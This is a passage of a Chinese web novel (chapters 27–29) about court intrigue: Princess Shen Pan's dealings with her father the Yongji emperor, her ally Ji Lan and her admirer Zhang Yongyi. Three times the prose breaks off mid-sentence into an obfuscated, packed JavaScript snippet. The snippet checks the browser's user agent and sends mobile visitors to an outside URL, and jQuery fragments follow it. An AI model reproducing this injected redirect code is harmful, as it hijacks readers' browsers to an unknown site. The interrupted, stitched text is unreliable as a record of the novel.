嵇阑点头:“这就是了,臣一直听说陛下重旧情,潜邸从龙之人大多优待,便是多年前病故的侍卫都尤其恩宠,霍夫人的兄弟为国家拼杀,陛下尤其开恩,这才将霍辄又带去了行宫、更宠爱陈王。” “但她没葬在紫微宫,葬在长安废都,一处荒芜的坟场。” 嵇阑一愣,“或许是陛下更在乎陈皇后……” “在乎他的妻子,然后虐待她的儿子。” 嵇阑不能发一言以对。 沈磐嗤笑:“说起来也是因为在乎她,逆子克死了爱妻,他如何能不恨?” “出生即丧母,这不是燕王的过错。” “那这是谁的错呢?” 沈磐的眼睛如同点漆黑亮。 “总归不能是他的错吧?”沈磐垂下眼,起身翻箱倒柜一番,总算找出了一套齐整的茶具端了过来。 “我和沈斫差了不到一岁,让才生产过的母后这么快又怀了孩子,总不是他的错吧?”沈磐嘲笑着,给自己倒茶。 “陛下的后宫里,这些年只有……” 沈磐打断他:“只有皇后、贵妃,还有霍夫人。皇后和贵妃都是辅国长公主给他定的,不过那时他只接受了母后,等长公主去世他才纳了郭贵妃。贵妃是阁老郭明修的孙女,是故友郭辞文的妹妹,但和母后比起来,他一点也不喜欢贵妃,贵妃也没有孩子,后来生了场大病就去世了——那是我出生的前一年。” 她晃着杯中茶,“于是宫里就剩下母后,母后去世的第二年霍夫人就入了宫,夜夜承宠,但始终没有怀孕。但三哥说起那个时候,只说二哥每天都很害怕,害怕这么受宠的霍夫人有了孩子,会更讨厌沈斫。” 嵇阑的心一沉。 然后害怕的事情发生了。 沈磐盯着茶水笑,“然后我十二岁那年,霍夫人生了场大病去世了,三哥也走了。” “那个春天大姐才嫁了人,襄阳伯变成了襄阳侯,举宫同庆——”沈磐的视线一下子被回忆拉远,“霍夫人没熬过夏天,三哥走在了秋天,然后是唯一一次没有举办岁末宫宴的冬天。” 那个大雪天,沈斫十一岁,跟着菁明书院的宁先生读书,回宫后被陛下叫到七岁就出口成章的陈王面前背一段老庄。沈磐早就记不得是哪一段了,沈斫早上才学会,意思都不甚理解,晚间背得磕磕绊绊,惹了陛下生气。 他从不打人,甚至不说人,可他的目光就像是刑鞭,抽得沈斫血肉模糊。 然后过了年,他就以沈斫“天资愚钝”为借口,停了他在菁明书院的讲学,又把他丢到了演武场,每天被各种苛责碾轧,十四岁一满就丢去了东北。 他见过了天才,如沈礴一样的文学天才,所以其他人都被斥为蠢笨,而蠢笨的人,从来没有机会读书开化,不然就会因为发现了不公,而反抗他。 可沈斫是个早慧的孩子。 很早很早就看出自己的父亲不喜欢自己。 不,是憎恶,是仇恨,恍若他的亲生儿子、母后的幺儿,是他什么天大的仇人。 那时沈斫还没长那么多心眼,觉出了这种憎恶曾经还问过自己,问她说:我是不是哪里做错了? 她本想说,你什么都做得很好,就是老头子偏心。 可她一刹那想到了辛翩翩。 辛翩翩为什么叫“翩翩”?其实不是翩翩起舞的“翩”,而是偏心的“偏”、偏爱的“偏”。可辛自宽这么偏宠她,也从未因此苛待过其他的孩子。 所以这根本就不是偏心。 那这是什么呢? 在听过嵇阑自述身世后,沈磐甚至天马行空地想,会否因为沈斫不是陛下的儿子? 可她很快就打消了这个念头。 沈磐沉默了许久,嵇阑这才出声:“公主?” 沈磐阖上眼,长长吐出一口气:“他就是个烂人。” 嵇阑已经不震撼于沈磐的口出狂言。 作为父亲,他就是个烂人,一个烂掉心眼的人。 可父亲身上的脓疮,已经蔓延到君王身上。 为了陈王,他几乎是在颠覆二十多年太子的地位。 那么他们要怎样颠覆陈王、颠覆霍家呢? 只有颠覆他。 嵇阑也不震撼于自己想法的恐怖。 “我曾以为,一切都是因为辅国长公主。” 嵇阑默默听她扯起这个话头。 “可我曾问过宁先生,问他长公主是什么样的人。宁先生寡言,却说了整整一个下午也说不完,我听来听去都是那么好那么强大一个人。可她养出来的弟弟是个烂人。” 曾是个英明神武的君主,晚年不免昏庸。 史家都会原谅他的,就像原谅了一个又一个汉武帝。 “公主,不要被烂人传染。” 沈磐看着他满脸郑重,不禁轻笑。 “说些乐观的事吧,我叔其实一直对霍辄心有不满——” “怎么说?”沈磐低头喝茶。 “我爹和我叔都曾是他的部将,这分工与分功上自然就有了亲疏,我唯一的堂哥还折在了战场,结果最后我爹得了爵留在了西北,他却被打发到荒僻少战的西南。” 嵇阑自己给自己续了杯茶,抿了一口抬头就道:“没有战争就没有功勋,同时他没有子嗣。” “他眼高于顶,族里的小辈都是混子看不上,所以——” “所以?” 这时门外响起了团圆的提醒:“公主,该用晚膳了。” 嵇阑笑着起身:“正好我也饿了。” 沈磐仍然坐着看他,“所以?” “霍辄还活着一天,他就不敢和我爹叫板,而我很听他的话,和公主合计一出让霍辄丢了老脸,他虽然打我,但心里指不定多么顺畅。” 沈磐依然不起身,慢条斯理地折折袖口,“所以?” 嵇阑饿得不行,“所以他想过继嵇阙。” 沈磐这才挑眉,将桌上的邸报都藏入袖中方才起身。 “我爹名分上就只有我和嵇阙两个儿子,他过继了嵇阙,爵位就只能传给我。” 沈磐一勾唇,走向门口,“好事,得让它成真。” “公主放心。” 沈磐一扬下巴,示意他开门。 门一开,夹杂着夜风宫灯的暖光就送了进来。 团圆朝沈磐道:“张佥事求见。” 嵇阑微一诧异:“他不是走了吗?” 说着,他兀自熟稔地往廊下走,突然就见沉默的黑暗里沉默地站着一个人,风过如刀过,将他的面容一刀刀雕刻得无比鲜明。 嵇阑朝张永一颔首,随即走没了影。 沈磐望向廊下的他,对团圆道:“请吧。” 张永一似是根植在了原地,等了好久,方才迈着千钧重的步子走出长廊。 还是白天那身衣裳。 团圆等识趣地退下,沈磐慢慢等他走近,转身将书房门阖上。 今天没有多少月色,宫灯里的火烛也不甚明亮,房门一关,天地都昏暗起来,如同他们两个人一起堕入了那场幻梦。 他们彼此的气息都如此清晰混沌。 可沈磐一开口,她那清朗的声音就如同割断帷帐、挑裂绸缎的一把刀,直直插在张永一心口。刀是永远不知道伤人时的人,究竟有多么痛,亦如沈磐,似是全然不知自己究竟为何饱尝苦酒。 “张佥事有事?” 他已经留了道皮开肉绽的疤,沈磐每一次呼吸催动的微风都凝着盐晶,一把把地撒上伤口。 张永一几乎痛得,说不出话。 他一如往常,心虚又心伤的垂下视线。 像个做错事的孩子一样可怜。 沈磐突然就不忍看了,朝嵇阑消失的地方走了几步,转过身背对他,“是本宫的错,将张佥事也拉下了水。” “公主……” “张永一,你是喜欢我吗?” 张永一屏住呼吸。 沈磐摇头轻笑:“那一定是你素得太久。” “公主!” 他的声音低如蚊讷,沈磐就算听见了也全当听不见,继续道:“这种好像喝醉的感觉,不过是‘欲望’使然,人人都有欲望——” 她微侧身,余光瞥着张永一心中泛滥的局促和震撼。 “我有,你也有。你若觉得想起我、想起那些事就心烦意乱,你可以去极乐坊找找感觉,找找掌控的方法。你是沙场上光荣的将领,驭统全军是你的才华,这样的你如何能败给欲望?” 他的心上简直扎满了刀子。 他曾也这么想的,他说不出是哪些瞬间让自己甘愿彻底死在她的手上,可每时每刻,自己都如同困进了名为“沈磐”的囚徒迷宫。 但而今,话是她说的。 她仿佛就是个冷眼旁观者,又或者是搅弄一池风云的人物,从未曾有过半点失态的沉沦。 沈磐真的好冷。 她真的很冷。 话是冷的,心也是冷的。 良久,张永一压住血流不止的心口,抖着嗓音问:“那公主和嵇阑——” 沈磐轻笑出声,却还是背对着他,“不过都是排解自己的欲望而已。” 听不见张永一的反应,她继续补充一句:“人总要排解的。” 背后依然没有响动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看得出张永一对自己的特别,也大致摸得清他的心思。但扪心自问,在这样的感情上,她的表现从来不如张永一。对嵇阑就更不用说了,不曾起念,不过一番合作,这便连‘思迁’也不是了。 这么一来,她更成了一个无情之人,利用张永一的感情只为达成自己丑恶的目的。 如同大楚的君父一样,只爱着自己。 可她达成了什么目的呢? 她就是那类喜欢不像自己的人。说到底,她没有变成张永一那样干净如纸的决心,更加没有一丝勇气,更何况她不敢,不敢在群狼环伺的当下缴械投降。 她既要又要。 一边在两人的相处里找不到归属,一边又享受和渴望这种纯净。 或许她想过张永一吧,但现在又后悔了。 “为什么不是我?” 张永一还在问。 是啊,为什么不能是他? 他们对彼此的感觉都初生于成熟转变中的各种渴望,身体上的渴望,心理上的渴望,还有猎奇,还有不容拒绝的野心。这些,到底不是萌生于内的相惜,便更谈不上喜欢抑或者爱。 所以啊,为什么不能是他? 他们的身体随着心理一同有了变化。 这本该,又是一场顺水推舟的欢爱,沈磐没有拒绝,张永一也有这个心思。 但张永一只是抱着她,直到眼眶都有些洇湿,也只在她耳畔一遍遍地问这个问题。 所以啊,为什么不能是他? 哪怕就如她的借口,只是为了欲望的排解,只是为了追求一刹那的欢乐。 为什么不能是他? 天是漆黑的,地上也是黑的。 最近的夜里没有盯梢的眼睛。 沈磐偏过头,毫不避讳也毫不畏怯地衔住他的嘴唇。 张永一怔住。 她的吻从来都比花蜜更加香甜。 可这次只有经久不散的苦涩。 太苦了。 苦得他尝不出这个吻,究竟会否带来些许的快乐。 沈磐并不快乐。 这不是欲望。 欲望总能带来或短暂又致命的快乐。 所以这个吻不是欲望。 这不是排解。 她在回答为什么。 可为什么呢? 他觉得她冷情得在床帏间听见自己的情话,仍然可以克制着不予反应。 衣冠整齐、理智清醒时,他们连手都不能牵。 是他不敢,也是她不愿。 那般近的、那般久的相依相偎,依然不能第二次相见的一双眼里留下任何痕迹。 张永一走神了。 被沈磐刻意加深的一个吻惊醒。 分明她的头顶只到自己的下巴,她却有能够将自己惯倒的力气。 可她突然撤回了这样的深情厚谊,在自己失神的刹那。 沈磐站在眼前,又像站在了千山万水的另一边。 她依然是白日里那副镇定从容的模样。 说着最平淡的话:“因为——这些都是我的谎言。” 28. 第二十八章 荒山冢(一) 孟冬十月,北风徘徊,天气肃清,繁霜霏霏。 鵾鸡晨鸣,鸿雁南飞,鸷鸟潜藏,熊罴窟栖。 沈磐和辛翩翩驱车抵达五柞宫已经是日暮戌时,陛下没有召见她们,而是赐了汤泉沐浴休息整顿。 沈磐换好衣裳,脸颊上还染着温泉水汽的微红,一回头见辛翩翩拉扯着自己的衣袂,脸上尽是酒后酡红,只有一双眼睛亮如云星,不似喝醉。 “你喝酒了?” 辛翩翩笑:“五柞宫温泉一绝,自然要斟酌小酒,陶然养神,怎么,你没喝吗?” 沈磐皱眉:“这种时候这种地方,你还有心思喝酒。” “越是临危越要不惧,处涸辙以犹欢。你呢,就是绷得太紧——” 沈磐轻拂开她撩拨自己头发的手,“回去休息吧,行宫不比英国公府,大晚上的别乱跑了。” 辛翩翩却一把握住她的手,“这些我还是知道的。” 沈磐凝视她握着自己的手。 “不过有些事你不知道。” 沈磐挑眉看来。 “关于陛下。” 见沈磐眼神松动,辛翩翩笑着挽上她的胳膊,“不用说是戌时,就算我们再早来一个时辰,陛下也见不了的。” “为什么?” “因为招魂啊。”她们咬耳朵,“不说每天,一连几日都是如此,一到黄昏,陛下就下令闭门,谁也不见,只让施汜帮他招魂,真是着魔了一样。” 沈磐的心猛地一沉。 “前天我爹说,施汜好像真招到了霍夫人的魂魄,第二天陛下心情大好,赏了不少东西下来——诶!长平,你要往哪里去?” 她们站在小径交错的当口,向东是她们安顿的别院,向西则是陛下休憩的桂宫。 辛翩翩被沈磐吓了一跳,“你不会要去找施汜装神弄鬼的证据?不成的,周围都是锦麟卫,魏俊秋也在。” 沈磐止步,“这样下去一定会出事。” “可我们又能有什么办法呢?陛下谁也不听,就信那个施汜,我爹守在这里,好歹霍家不敢向陛下动手——” 听见身后有脚步逼近,两人俱是噤声,一回头就见月华石子径上走来一个青袍少年,他身后还跟着一个成年男子,与大将军霍辄有几分像,嘴角渗血,似是才被谁上脸打了一顿。 沈磐凝神,“沈礴?霍副使。” 陈王朝沈磐和辛翩翩一一施礼,霍轶这才一一拜见:“臣虎贲卫指挥副使霍轶拜见长平公主,辛姑娘安。” “你们怎么在这儿?” 陈王捏了捏袖口,这才慢慢从袖中取出一枚小卷,双手呈了递过来,“马上就是辛姑娘的芳辰华诞,我……我作了一篇文章,鄙充贺礼。” 沈磐挑眉,侧身把半躲在自己身后的辛翩翩让了出来。 辛翩翩看看不辨喜怒的沈磐,看看门神似的又作壁上观的霍轶,再看看低着头面色微红的陈王,最后又看看那一卷精致文章,顿感屉笼蒸腾之苦。 最后还是沈磐出声笑道:“陈王弟弟的文章定然是极好的,翩翩,你一向不都很喜欢笔墨诗书吗?还不快谢了这份礼回去好好拜读?” 辛翩翩面上笑容欢畅,等陈王和霍轶转身走远,这才恶狠狠瞪了沈磐一眼,咬牙切齿道:“你知道我一向不喜欢这些,就算喜欢,这东西也不能要。” “他没有坏心。” “头一次听你给陈王说好话……” “实话实说。” 辛翩翩抬眼,奇怪地打量沈磐,旋即边走着边打开文卷,嘟囔道:“你又不是他肚子里的蛔虫,你怎么知道他没有歹念呢?虽然他才不到十四岁,但他是霍夫人的儿子,霍辄的外甥……诶,霍轶怎么像被谁打了脸上挂彩?” “普天之下,谁又敢打他呢?” “自然只有他大哥霍辄喽,估计他又做了什么违逆长兄的事情,但就算有,也不该在五柞宫里就动起手……” 沈磐正顺着她的话头往下想,忽然就被辛翩翩用力拧了一把,随即她像是发了狂,拽着自己就往别院跑,喘得上气不接下气地让侍女点灯。 “怎么了?” 辛翩翩将门仔细掩了,端着桌上才燃起的灯移近被她摊在桌上的那幅文卷,“你看这里:蓬转接天路,道阻且长日俱寒,吾独茕茕行,不缅高堂不求名,日暮寻兖地。” 她的眼睛被灯烛火光映得星亮,像是这火就烧在了她的眼眸里,热血一涌就爆开了花,“写得一般般没有特色,但‘不缅高堂不求名,日暮寻兖地’,这是不是就在说他无意为储,只想当个兖王闲散一生?” 像是生怕沈磐不信,辛翩翩又指着下一处念道:“柴园门扉,洒扫以待,南山悠远,荷锄而归。” 辛翩翩按住沈磐的手,“他当真是无意皇位!咱们只用将这篇文章快马传回化隆,让菁明书院的学子广而传唱,这陈王不欲留京而想就藩,陛下难道还能强迫他嘛!不论陛下怎么做,这声势就造起来了,霍家若是还想运作,这不忠不义乃至不孝的罪名自然由他们担,陛下的颜面也过得去。” 听完,沈磐的眼眸还是死水无澜,她摇头,“那你父亲怎么办?” 辛翩翩一愣,接话道:“这和我爹有什么干系?这文章算是陈王写给我的贺礼,便算是情书,我宣扬出去,陛下难道还能怪到我爹头上?” 她看见了沈磐眼中的沉郁,便不说话了。 陛下会的。 陛下一定会的。 霍开武轻薄沈磐,于是乎霍辄因为教子不严丢了尚书之职,那她呢,如果真的挡了陛下铺给陈王的路,天知道她爹在陛下那里的情分将淡薄成什么样子。 沈磐反扣上她的手。 辛翩翩叹气:“要和天斗,真是难啊。” “他不是天,只是假借天子之名图一己私利。” 辛翩翩被她这话惊得目瞪口呆,缓了许久才木木道:“嗐,早知道会这样艰难,我就该找个人私奔了去,虽然现在私奔也不晚,我爹娘就我一个女儿,我哥也就我一个妹妹,名声上难听些总也好过全家遭难……” 沈磐瞥眼看她,轻笑一声。 她们两个这才坐了下来。 “嗳长平,你觉得张络——张永一怎么样?” 沈磐凝眉,“怎么了?” “他祖母是梁国长公主,他家又是忠烈之门,不涉朝政、不入党争,唯一的牵连估计就是燕王,现在入了长缨卫也不知是福是祸,若他与东宫不过多往来,只将长缨卫作为一个跳板,将来平步青云,平平安安,选他倒是很不错。” 沈磐应了一声。 辛翩翩扼腕叹息:“只是恐怕来不及了。” “如何会来不及?” “你没听说吗,梁国长公主要给他和郭家女牵线,两家都挺满意的,事情应该就定下来了,我和他又不是两情相悦得非谁不可,横插一脚不好也不成,损我功德。” 沈磐微微一愣,转瞬间将自己那些说不上是什么情绪的情绪都遮掩了过去,轻扯下唇角,似是对张永一能有如此圆满的归宿由衷祝福。 辛翩翩没看出沈磐的破绽来,只能叹息着将自己的隐忧抛出以此作结:“不过长平,你真的要和嵇阑一起吗?明天见了陛下,就算过明路,你们的事情应该就定下了……” 沈磐拍拍她的手,“我嫁又不是你嫁,你就不必替我操心了。” 事实上替沈磐瞎操心的人不只是辛翩翩。辛翩翩是友,多少为她的终身幸福考虑,但满朝弹劾她不知检点的文官骂官则未必有多少善意的考量,他们只是想,大楚开国以来皇家子弟一直中规中矩,到了永济本朝,突然出现了自己这个不禁枕席、不知礼数、不要脸面、不知廉耻的未婚公主,简直有辱沈氏门风。 陛下也该是这么想的,从前见了自己不说多有笑脸,也不该露出而今这副严肃得略有些憎恶的神情来,仿佛她沈磐在他心里,已经自甘堕落成了第二个燕王。 沈磐规规矩矩地跪下,朝龙椅上半躺着的半死不活的永济帝下拜。 桂宫的金砖真是冷。 她被冰得倒吸一口凉气。 “你来这里做什么。” “儿臣来向父皇请罪。” “请罪?”永济帝冷笑一声,“堂堂公主,你何罪之有?” “儿臣一意任性,丢了皇家颜面,求父皇责罚。” 上头安静了好一会儿,沈磐才听他幽幽道:“你还知道丢脸。” 沈磐低埋下头,似是很内疚的温顺模样,“儿臣知错了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985558|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你要朕怎么罚你?” 沈磐不应。 “朕把霍开武罚给你做驸马如何?” 沈磐一怔,心思一转,不过两息就琢磨出了永济帝话中的试探意味,霍然抬头面露凄惶,随即装得委屈又绝望地匍匐下身,沙哑着嗓音回道:“若父皇真要如此……那儿臣……那儿臣……” 她像在哽咽。 只待沈磐微一抬头,永济帝就能看见她微红的眼眶里立时淌下一颗泪来。 “父之命不可违,那儿臣只能从命了。” 永济帝皱眉,“哭什么,不过一个玩笑。” 沈磐的眼泪更止不住,“儿臣……儿臣以为父皇真要再把儿臣赐给霍开武。” “这么不愿么?” “儿臣只是怕。” 永济帝叹气:“怕什么?你是朕的公主,他又受了斥责,将来的荣辱全系在你的身上,霍家以后有谁敢轻慢你?” 沈磐的身形抖得更厉害了,其实不是害怕,她只是冷,被双膝灌入的丝丝寒意冻得浑身战栗。桂宫里烧着炭盆,火势喧天,但地上还是冷得可怕。 五柞宫始建于汉,连年战乱留存于今,前朝先帝不曾修葺,陛下要当勤俭治国的贤君,自然不敢大张旗鼓地给这荒凉破败的行宫全换上地龙。 此时更连一个蒲团都舍不出。 他窝在宝座上,她跪在寒地里。 “儿臣怕……”沈磐的牙齿止不住打颤,“儿臣怕父皇不爱儿臣。” 似是听见了什么睽违已久的荒谬字眼,永济帝愣了许久才从一阵耳鸣里回过神来。 沈磐垂下头,“他们都说,父皇和二哥不睦,儿臣嫁入怎样的虎狼窝都不怕,就怕受了委屈、被他们指指点点、被抢得一无所有、更到最后孤苦伶仃时,儿臣不能向二哥诉苦,也不能找父皇做主。” 她眼里全是溢于言表的恐惧,“儿臣太怕了,怕这个世上再也没有依靠,再也没有体谅,再也没有家。” 这是最真实的恐惧。 不是演的。 是真的恐惧。 是差一点经历的恐惧。 也是即将要亲历的噩梦。 永济帝错开眼神。 桂宫里尽是沈磐压抑的抽泣。 这是他的女儿在哭吗? 不,这就是他。 就是那年不及弱冠就要扶着阿姐的灵柩一步步走向紫微宫的他。 就是那个恨不得一把火烧光兖国公主府又不舍得损坏阿姐半点生前遗物的他。 就是那个夜夜噩梦,梦见幽林浅滩仰卧的那具女尸,梦见被活生生剜去双眼的不是旁人而是阿姐的他。 就是那个年少无知的他,孤苦无依的他,思念成狂的他。 就是那个没有家的他。 阿姐是他的家啊。 她们都叫长平,阿姐也曾这般害怕,害怕自己饱受欺侮、指指点点、一无所有、孤苦伶仃,但是没有一处可避。阿姐是女中诸葛,她能料不到,她狠心离开之后的他也会这么害怕吗?害怕饱受欺侮、指指点点、一无所有、孤苦伶仃! 这是最真实的恐惧。 已经亲历的噩梦。 沈磐的眼泪这么多,他却连哭都不敢,怕让臣子看透了自己的脆弱。 一个帝王的脆弱。 “长平,地上凉。” 沈磐以额接地,地上也落了温热的眼泪。 地上凉啊,可她的心更凉。 她演了一半就献出了真心,她这个拙劣的骗子也会在情不自禁时狂想,台阶上已显老态的人是他的父亲,女儿在父亲面前大哭一场,诉些真情,为父二十几载,就算他们父女之间有再多龃龉,他该会体谅吧?该会像辛翩翩的父亲那样触动吧? 他的心再冷似坚冰,也该化了吧? 他对自己从不似对大姐沈碧那样宠爱,她也不求成为沈碧第二。 可是作为父亲,你也该爱过我吧? 就像你爱沈碧那样真心实意,会泪眼婆娑地轻声唤一句:“磐磐,地上凉。” 额头温濡的眼泪也凉成一片寒霜。 沈磐清醒了,她的父亲从来没有这样叫过自己。 他从来只是千万人的君父。 更是她的君主。 29. 第二十九章 荒山冢(二) 回京行至半途,沈磐就发了高热。 起初辛翩翩还没察觉,只当她在睡觉,后来她一觉醒来又呕吐不止,她只当是路途颠簸,等她又咬牙闭眼一声不吭地要睡过去,就听见她半梦半醒间在哭,在叫她宁王三哥。 她哭着说:三哥,太难受了,太难受了,她想死,带她一起走吧。 辛翩翩这才知道,一直身强体壮百病不侵的沈磐生了病,还是场大病。 一连昏睡五天。 沈磐一睁开眼就看见,一向妆容精致的辛翩翩面色蜡黄地坐在床边,扒拉着手上的话本,小鸡啄米似地点着头。 像是心有所感,辛翩翩霎时转过身,扑到沈磐身边止不住地高兴:“醒了?总算醒了!” 她的嗓门能掀开这驿馆上房的屋顶,门外侍候的人顿时涌了进来。 “嗳,你这一病真是吓死我了,头烫得像烙铁——”不知哪里请来的医婆还在搭脉,辛翩翩就凑在她的床头忍不住地嘟囔:“你也真是,身体不舒服也不和我说,真的把我吓死了,一睡就睡了五天,如果你再不醒来,我都打算去投水了……” 沈磐嘴角一扯。 “怎么样了?没大碍吧?” 医婆面露难色,“脉象有些奇怪,但我诊不出来。” 辛翩翩猛一拉住医婆,悄咪咪问:“该不会怀孕了吧?” 医婆大惊失色,沈磐目瞪口呆,唯有辛翩翩焦灼不安。 “这……喜脉是绝对不可能的。” 辛翩翩松一口气,“是我糊涂了,那她应该……” “还是应该请太医院的先生们来看看。” 辛翩翩点点头,只能放战战兢兢的医婆走,这才想起和沈磐解释道:“你这一病,东宫也知道了,即刻派了人来,行宫那里以为是你吃坏了肚子,整治了不少人。” 沈磐吐出一口僵结于心的浊气,沙哑问:“是谁来了?” 辛翩翩困惑,转身看向紧闭的房门,“没有人来啊,不会病了一场见鬼了吧?” 她重新扑到沈磐床头,这才恍然大悟:“哦,你问的这个,就是张永一,太子让他带了长缨卫接你,一直都在楼下。” 听见张永一的名字,沈磐抿唇,不知尝出了什么味道,她闭上眼不自主地叹气。 “怎么不高兴?” 沈磐重新睁眼,就见她跪坐在床边,两手托着下巴枕在床边,大眼睛忽闪忽闪说着不解:“现在过了二十五,陈王变成了兖王,拟定年末陛下回京后行加封大礼,明年就藩,这是天大的好事,你该高兴啊。” 沈磐的笑有些苍白,“我怎么不高兴了?” “好好好,你高兴着呢,喜怒不行于色,长平你越发厉害了。” “嵇阑那里有什么消息吗?” 辛翩翩不悦敛眉,“你也不问问我没日没夜地陪你有没有妨碍,一开口就问嵇阑,真是见‘色’忘友。” 沈磐一弯唇,辛翩翩认栽道:“得得得,他好得很呢,朝臣弹劾你,你跑到陛下面前认错吃了这样的苦头,他倒逍遥得很,现在满化隆人尽皆知他极有可能当上你长平公主的驸马,风头无量呢。” 沈磐一哂。 “不过呢,他还算知恩图报,有点良心,托张永一问候你,估计有些话想和你说——” 辛翩翩起身,正好忽略沈磐眼中的错愕,“方便吗?我现在叫他上来?” 沈磐自己坐了起来,低垂着眉眼不知在想什么,辛翩翩给她披衣裳,手上正忙着,嘴巴也忙个不停,更没注意到她这短暂的一瞬沉默,“就这样放张永一来见你是有些不合礼数,但太子应该也有话要托他传给你吧,所以还是见见的好。” 辛翩翩下去后,门外很快就传来了张永一上楼的脚步声,他走得很轻,奈何屋里很静,半掩的门一响,沈磐就抬起了目光。 张永一的步伐刹那顿在门外,扣着门板的手也僵硬在空中。 一见到她,他的心思就藏不住。 沈磐暗自叹息一声,歪过脑袋朝他淡淡道:“张佥事?” 张永一垂首,攥着拳沉默地迈进房内,在门边跪道:“拜见公主殿下。” “张佥事免礼。”说着,沈磐伸手解开系起的帷帐,半面帘障一落,张永一刚好起身,半掩上门后小心地往前走了几步,就听沈磐提醒:“把门关上。” “是。” 屋里便这样剩下他们两个人。 张永一不敢靠得再前,隔着帷帐,他听沈磐气息孱弱地问:“嵇阑托你传信了?” “是,嵇公子向公主问安。” 说着,他从怀中取出一幅简信,绕过半边垂落的帷帐递给床上的沈磐。信纸别开帐沿的瞬间,他似是听了谁的鼓动,又像中了哪些魔咒,情难自禁地抬起眼睫,顺着沈磐修长的手指望向她苍白虚弱的面容。她像是敷了粉,遮去了琼玉的润泽,可乌幽幽的眼眸还像是镶嵌上的一对灵珠,直接映出了催命吸髓夜夜蛊惑他的妖魔。 被沈磐的目光抓了现行,他慌忙垂下脸,便又闻见她抬手时袖中弥散出的沉沉病苦。 沈磐拆开信,也顾不得在意张永一的僭越,一目十行地扫了起来,才看了两句,她的眉毛顿时揪结到一起,似是捆缚着无人能解的疑团。 距十月二十五过去才不过七日,京城就发生了这样骇人听闻的大事。 张永一的心被沈磐的一举一动牵绊着,见她深锁眉头,也不禁担忧起嵇阑信上所述的事情。 应当出事了。 可他出发前,化隆城还沉寂于一片入冬前的肃杀。 “张佥事。” “公主有何吩咐?” “后来你还查过那个师婆吗?” 张永一微愣,两息过后才反应过来,“有。” “怎么样?” 听得出她急于知道结果,张永一似是揣摩出了其中的门道,“只查到她帮阳安伯的外宅妇施行巫蛊诅咒伯夫人,东窗事发,被京兆逮捕。” 沈磐心一沉,“这是什么时候的事情?” 张永一低下头:“那天……才得到消息。” 沈磐攥紧了袖口,喃喃自语:“那就是十月初了。” “是又发生什么事了吗?” 隔着帷帐,他们只得见彼此模糊的面容,可心里的答案比窗外的天光还要明朗。 张永一再问:“有臣能帮忙的地方吗?” 沈磐的视线似是落到了自己脸上,张永一才抬起的头又低了下去。 可她不说话。 不说话的时候,空气都在凌迟着他的呼吸。 他已然想得明白,既然不是欲望使然,便只能是自己的力量比不过嵇阑、帮不了她,所以她选择了嵇阑。 他会拼尽全力地帮她,无论如何。 但磐石无转移,她好像永远也不可能回心转意。 “张佥事。” 听见她这么称呼自己,张永一便知道了前路绝望。 “本宫谢过张佥事,只是这些事张佥事还是不要参与的好。” 张永一闭眼。 “那公主能告诉臣,究竟发生了什么吗?虽然……迟早都会知道。” 略一思忖,反正张永一早晚都会知道,早些知道对他也好,沈磐便不再隐瞒:“阳安伯崔恒才的次子崔宏斌因为在丹峰庵闹事被京兆逮捕,崔恒才找京兆尹窦凯旋通融,被窦凯旋拒绝,崔公子便依律吃了板子。事后崔公子揪结好事纨绔诱骗窦凯旋的独女,在曲江毁了窦姑娘,两家就此结下梁子。” 张永一倒吸一口凉气,“臣听闻,京兆已经帮崔家压下了诅咒一事,只当家贼偷窃处理?” 沈磐轻叹:“你知道崔宏斌在丹峰庵闹了什么事么?崔宏斌为了一个带发修行的女尼,打伤了平凉伯的小儿子金正彪,那天在场的还有嵇家子弟,更有霍轶的儿子霍开德。平凉伯是跟着霍家在西北挣下的家业,崔家又是老牌的门阀,新旧侯爵互不顺眼,窦凯旋压宝霍家,便公正执法。而崔宏斌不开智,瞒着父亲将怨气全撒到了窦凯旋的头上,窦凯旋老来得女,女儿才十四岁——” “若是如此,窦凯旋根本不可能帮阳安伯平息事端。” “窦凯旋拿不到实证,崔恒才又不知道儿子犯下的浑事,崔宏斌又哪敢和父亲说,只自欺欺人以为自己的手段多么高明。” 隔着帷帐,张永一也能看见沈磐的愁容。 要出事啊,尤其是陈王就藩、霍家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989721|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受挫的当口。 他听见了沈磐的叹息。 忽然,她的呼吸一窒,瞬息又急促起来。 张永一是行伍中人,耳目都比旁人敏感些,即刻察觉到沈磐呼吸的异样。 “公主?” 沈磐别过了脸,压着声音闷闷道:“你出去吧,本宫有些累了。” 张永一捏起拳头,一步三回头地退出了房间,沈磐这才敢大口喘气。 她只感觉有人掐着自己的脖子,让她透不过气,又有一把火不知从何而起,顺着四肢百骸游遍全身,等它们全会聚到了腹部,她的汗已经洇湿了中衣。 她觉得热,就像那天在车厢里一样的热,热得她筋骨无力而头昏眼花。 可现在是冬天了,方才披着裘衣和张永一说话犹嫌冷,现在就如遭炭烤。 医婆说她的脉象有些奇怪,看来她是真病了。 病得莫名其妙。 像有人攥住了她的咽喉,沈磐紧紧拽着自己的衣领,蜷缩在床上大口喘了起来。 